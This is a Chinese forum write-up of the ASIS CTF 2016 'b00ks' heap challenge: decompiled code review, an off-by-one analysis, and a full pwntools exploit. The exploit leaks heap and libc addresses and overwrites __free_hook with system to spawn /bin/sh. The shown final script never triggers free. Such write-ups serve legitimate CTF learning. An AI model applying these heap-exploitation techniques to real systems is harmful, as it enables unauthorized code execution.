首页
社区
课程
招聘
[原创]Asis CTF 2016 b00ks WP
2024-2-17 02:07 1556

[原创]Asis CTF 2016 b00ks WP

2024-2-17 02:07
1556

环境:ubuntu16.04 glibc版本:2.23

利用漏洞:ChunkExtend & Overlapping

分析

按照惯例用checksec查看下保护

image.png

可以看到除了canary保护,其余保护全开 再用IDA进行代码审计

代码审计

  • main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
 struct _IO_FILE *v3; // rdi
 int v5; // [rsp+1Ch] [rbp-4h]

 setvbuf(stdout, 0LL, 2, 0LL);
 v3 = stdin;
 setvbuf(stdin, 0LL, 1, 0LL);
 welcome();
 author_name();
 while ( 1 )
 {
   v5 = menu();
   if ( v5 == 6 )
     break;
   switch ( v5 )
   {
     case 1:
       create();
       break;
     case 2:
       delete(v3);
       break;
     case 3:
       edit(v3);
       break;
     case 4:
       print();
       break;
     case 5:
       author_name();
       break;
     default:
       v3 = (struct _IO_FILE *)"Wrong option";
       puts("Wrong option");
       break;
   }
 }
 puts("Thanks to use our library software");
 return 0LL;
}

为了后续的代码审计,我这里给函数名都自定义了一个名字。 前几行代码定义了几个变量,然后关闭了缓冲区。 后面调用各种函数,然后进入while循环。 整个main函数没什么好看的。

  • welcome函数

int welcome()
{
 return puts("Welcome to ASISCTF book library");
}

打印了一行字,也没啥好看的

  • author_name函数

__int64 sub_B6D()
{
 printf("Enter author name: ");
 if ( !(unsigned int)my_read(off_202018, 32LL) )
   return 0LL;
 printf("fail to read author_name");
 return 1LL;
}

主要功能是往off_202018写入大小不超过32的数据 这里注意off_202018是在bss段的

  • my_read(_BYTE *a1, int a2)函数

__int64 __fastcall my_read(_BYTE *a1, int a2)
{
 int i; // [rsp+14h] [rbp-Ch]

 if ( a2 <= 0 )
   return 0LL;
 for ( i = 0; ; ++i )
 {
   if ( (unsigned int)read(0, a1, 1uLL) != 1 )
     return 1LL;
   if ( *a1 == 10 )
     break;
   ++a1;
   if ( i == a2 )
     break;
 }
 *a1 = 0;
 return 0LL;
}

开始定义了一个变量i 然后进入if语句,判断a2(也可以理解为输入大小)是否合法,不合法即返回0

接着进入循环语句:

第一个if:每次往a1中写入一个字节,读取失败则返回1

第二个if:判断当前是否为换行符,10 == \x0a =='\n' 然后自增a1 最后判断是否读完,然后结束循环

循环结束后,将a1最后一个字节设为0,最后返回0

  • menu函数

__int64 sub_A89()
{
 int v1; // [rsp+Ch] [rbp-4h] BYREF

 v1 = -1;
 puts("\n1. Create a book");
 puts("2. Delete a book");
 puts("3. Edit a book");
 puts("4. Print book detail");
 puts("5. Change current author name");
 puts("6. Exit");
 printf("> ");
 __isoc99_scanf("%d", &v1);
 if ( v1 <= 6 && v1 > 0 )
   return (unsigned int)v1;
 else
   return 0xFFFFFFFFLL;
}

普普通通的一个菜单

  • create函数

__int64 sub_F55()
{
 int v1; // [rsp+0h] [rbp-20h] BYREF
 int v2; // [rsp+4h] [rbp-1Ch]
 void *v3; // [rsp+8h] [rbp-18h]
 void *ptr; // [rsp+10h] [rbp-10h]
 void *v5; // [rsp+18h] [rbp-8h]

 v1 = 0;
 printf("\nEnter book name size: ");
 __isoc99_scanf("%d", &v1);
 if ( v1 < 0 )
   goto LABEL_2;
 printf("Enter book name (Max 32 chars): ");
 ptr = malloc(v1);
 if ( !ptr )
 {
   printf("unable to allocate enough space");
   goto LABEL_17;
 }
 if ( (unsigned int)my_read(ptr, v1 - 1) )
 {
   printf("fail to read name");
   goto LABEL_17;
 }
 v1 = 0;
 printf("\nEnter book description size: ");
 __isoc99_scanf("%d", &v1);
 if ( v1 < 0 )
 {
LABEL_2:
   printf("Malformed size");
 }
 else
 {
   v5 = malloc(v1);
   if ( v5 )
   {
     printf("Enter book description: ");
     if ( (unsigned int)my_read(v5, v1 - 1) )
     {
       printf("Unable to read description");
     }
     else
     {
       v2 = sub_B24();
       if ( v2 == -1 )
       {
         printf("Library is full");
       }
       else
       {
         v3 = malloc(0x20uLL);
         if ( v3 )
         {
           *((_DWORD *)v3 + 6) = v1;
           *((_QWORD *)off_202010 + v2) = v3;
           *((_QWORD *)v3 + 2) = v5;
           *((_QWORD *)v3 + 1) = ptr;
           *(_DWORD *)v3 = ++unk_202024;
           return 0LL;
         }
         printf("Unable to allocate book struct");
       }
     }
   }
   else
   {
     printf("Fail to allocate memory");
   }
 }
LABEL_17:
 if ( ptr )
   free(ptr);
 if ( v5 )
   free(v5);
 if ( v3 )
   free(v3);
 return 1LL;
}

定义了几个变量:
v1,存name和description的size
*ptr,name所在chunk的指针
v5,description所在chunk的指针
v3,整个book所在chunk的指针
v2,可以理解为book数组的索引
整个函数流程就是:写入name_size -> 写入name -> 写入description_size -> 写入description -> 最后把id name指针 description指针 description大小写入到books结构体中
注意,这里存book数组的指针为off_202010,与off_202018(即author_name)刚好相距0x20
所以当author_name大小刚好为0x20时,会溢出到off_202010存在off-by-one漏洞,因为最后溢出了一个’\x00’

  • edit函数

__int64 edit()
{
 int v1; // [rsp+8h] [rbp-8h] BYREF
 int i; // [rsp+Ch] [rbp-4h]

 printf("Enter the book id you want to edit: ");
 __isoc99_scanf("%d", &v1);
 if ( v1 > 0 )
 {
   for ( i = 0; i <= 19 && (!*((_QWORD *)off_202010 + i) || **((_DWORD **)off_202010 + i) != v1); ++i )
     ;
   if ( i == 20 )
   {
     printf("Can't find selected book!");
   }
   else
   {
     printf("Enter new book description: ");
     if ( !(unsigned int)my_read(
                           *(_BYTE **)(*((_QWORD *)off_202010 + i) + 16LL),
                           *(_DWORD *)(*((_QWORD *)off_202010 + i) + 24LL) - 1) )
       return 0LL;
     printf("Unable to read new description");
   }
 }
 else
 {
   printf("Wrong id");
 }
 return 1LL;
}

先写入函数id 如果id大于0,循环book数组,找到id对应的书, 如果i == 20,就报错,说明整个book数组最多可以存20个book结构体,否则覆写之前的description

  • print函数

int sub_D1F()
{
 __int64 v0; // rax
 int i; // [rsp+Ch] [rbp-4h]

 for ( i = 0; i <= 19; ++i )
 {
   v0 = *((_QWORD *)off_202010 + i);
   if ( v0 )
   {
     printf("ID: %d\n", **((unsigned int **)off_202010 + i));
     printf("Name: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 8LL));
     printf("Description: %s\n", *(const char **)(*((_QWORD *)off_202010 + i) + 16LL));
     LODWORD(v0) = printf("Author: %s\n", (const char *)off_202018);
   }
 }
 return v0;
}

主要功能就是打印所有book数组中的book结构体的信息

思路分析

到这里代码审计就先暂停一下,理一下思路

回顾create函数,其通过malloc来创建name和description和book结构体对应的chunk,因此他们的地址都是有一定关系的,而author_name又会把book结构体所在地址低两位用'\x00'给覆盖,

所以我们可以在写完author_name后,创建一个book结构体,然后通过print函数把结构体在堆中的地址给打印出来,达到泄露堆地址的目的

再接着调用author_name函数,再次把第一个book结构体的低两位给覆盖

因为name description book结构体之间的地址都是有关系的,因此我们可以控制malloc的大小,让description的后两位变成'\x00'

最重要的是这里又给了修改description的功能,所以我们就可以通过修改某一个book结构体的description,伪造一个book结构体,达到任意写地址的目的。

解题过程

解题思路:通过_free_hook来获取shell __free_hook可以在free前或者free后执行一些我们想要执行的函数,比如system("/bin/sh") 既然是利用__free_hook,那就必须得先获取libc基地址,我们从第一步开始

获取堆地址

先往author_name写入0x20个字符,然后创建一个book结构体,再print该结构体信息,达到泄露堆地址的目的

def create(n_size,name,d_size,des):
    p.sendlineafter(">","1")
    p.recvuntil(":")
    p.sendline(str(n_size))
    p.recvuntil(":")
    p.sendline(name)
    p.recvuntil(":")
    p.sendline(str(d_size))
    p.recvuntil(":")
    p.sendline(des)
def print_all():
    p.sendlineafter(">","4")
'''往author中写入0x20个字节'''
p.sendline(b'a'*0x20) 
'''创建一个book结构体'''
create(0x1d0,"s1",0x40,"des1")
'''打印信息'''
print_all()
p.recvuntil("Author: ")
heap_addr = u64(p.recvline()[32:38].ljust(8,b'\x00'))
print(hex(heap_addr))

image.png 具体的malloc大小得自己测试,不一定是我这个数字,可能环境的原因吧

泄露libc基地址

  1. 创建一个由mmap分配空间的堆,因为mmap创建的堆的地址和libc地址的偏移是固定的

mmap阈值,可以在glibc中的malloc.c中找到

DEFAULT_MMAP_THRESHOLD     128 * 1024
create(0x21000,"s2",0x21000,'des2')
  1. 修改s1的description,伪造一个结构体,使其name和description指向s2的name,然后打印泄露mmap地址

def create(n_size,name,d_size,des):
    p.sendlineafter(">","1")
    p.recvuntil(":")
    p.sendline(str(n_size))
    p.recvuntil(":")
    p.sendline(name)
    p.recvuntil(":")
    p.sendline(str(d_size))
    p.recvuntil(":")
    p.sendline(des)


def edit(id,content):
    p.sendlineafter(">","3")
    p.recvuntil(":")
    p.sendline(str(id))
    p.recvuntil(":")
    p.sendline(content)

def edit_author():
    p.sendlineafter(">","5")
    p.sendline(b'a'*(0x20))

def delete(id):
    p.sendlineafter(">","2")
    p.sendline(str(id))

def print_all():
    p.sendlineafter(">","4")


p.sendline(b'a'*0x20)

create(0x1d0,"s1",0x40,"des1")
create(0x21000,"s2",0x21000,'des2')

print_all()
p.recvuntil("Author: ")
heap_addr = u64(p.recvline()[32:38].ljust(8,b'\x00'))
print(hex(heap_addr))
gdb.attach(p,"b* main")


payload = p64(1) + p64(heap_addr + 0x38) + p64(heap_addr + 0x38) + p64(0xffff)
edit(1,payload)

edit_author()

print_all()
p.recvuntil("Description: ")
mmap_addr = u64(p.recv(6).ljust(8,b'\x00'))



print(hex(mmap_addr))

image.png

  1. 使用vmmap命令查看libc基地址,计算mmap与其偏移

image.png 偏移 = 0x7f2caba03010 - 0x00007f2cab451000 基地址 = mmap地址 - 偏移

拿shell

  1. 获取system、/bin/sh和__free_hook地址

offset = 0x5b2010
libc_base = mmap_addr - offset
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
  1. 修改s1的description为"bin/sh"和"__free_hook"的地址,达到间接修改s2的name和description的目的。

payload = p64(binsh) + p64(free_hook)
edit(1,payload)
  1. 修改s2的description为"system"的地址,使得在free之前,执行system("/bin/sh")

payload = p64(sys)
edit(2,payload)

image.png

exp.py

from pwn import *
context(log_level = "debug")
p = process('./b00ks')
elf = ELF('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create(n_size,name,d_size,des):
   p.sendlineafter(">","1")
   p.recvuntil(":")
   p.sendline(str(n_size))
   p.recvuntil(":")
   p.sendline(name)
   p.recvuntil(":")
   p.sendline(str(d_size))
   p.recvuntil(":")
   p.sendline(des)


def edit(id,content):
   p.sendlineafter(">","3")
   p.recvuntil(":")
   p.sendline(str(id))
   p.recvuntil(":")
   p.sendline(content)

def edit_author():
   p.sendlineafter(">","5")
   p.sendline(b'a'*(0x20))

def delete(id):
   p.sendlineafter(">","2")
   p.sendline(str(id))

def print_all():
   p.sendlineafter(">","4")


p.sendline(b'a'*0x20)

create(0x1d0,"s1",0x40,"des1")
create(0x21000,"s2",0x21000,'des2')

print_all()
p.recvuntil("Author: ")
heap_addr = u64(p.recvline()[32:38].ljust(8,b'\x00'))
print(hex(heap_addr))
gdb.attach(p,"b* main")


payload = p64(1) + p64(heap_addr + 0x38) + p64(heap_addr + 0x38) + p64(0xffff)
edit(1,payload)

edit_author()

print_all()
p.recvuntil("Description: ")
mmap_addr = u64(p.recv(6).ljust(8,b'\x00'))



print(hex(mmap_addr))


offset = 0x5b2010
libc_base = mmap_addr - offset
free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()

payload = p64(binsh) + p64(free_hook)
edit(1,payload)

payload = p64(sys)
edit(2,payload)


p.interactive()



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回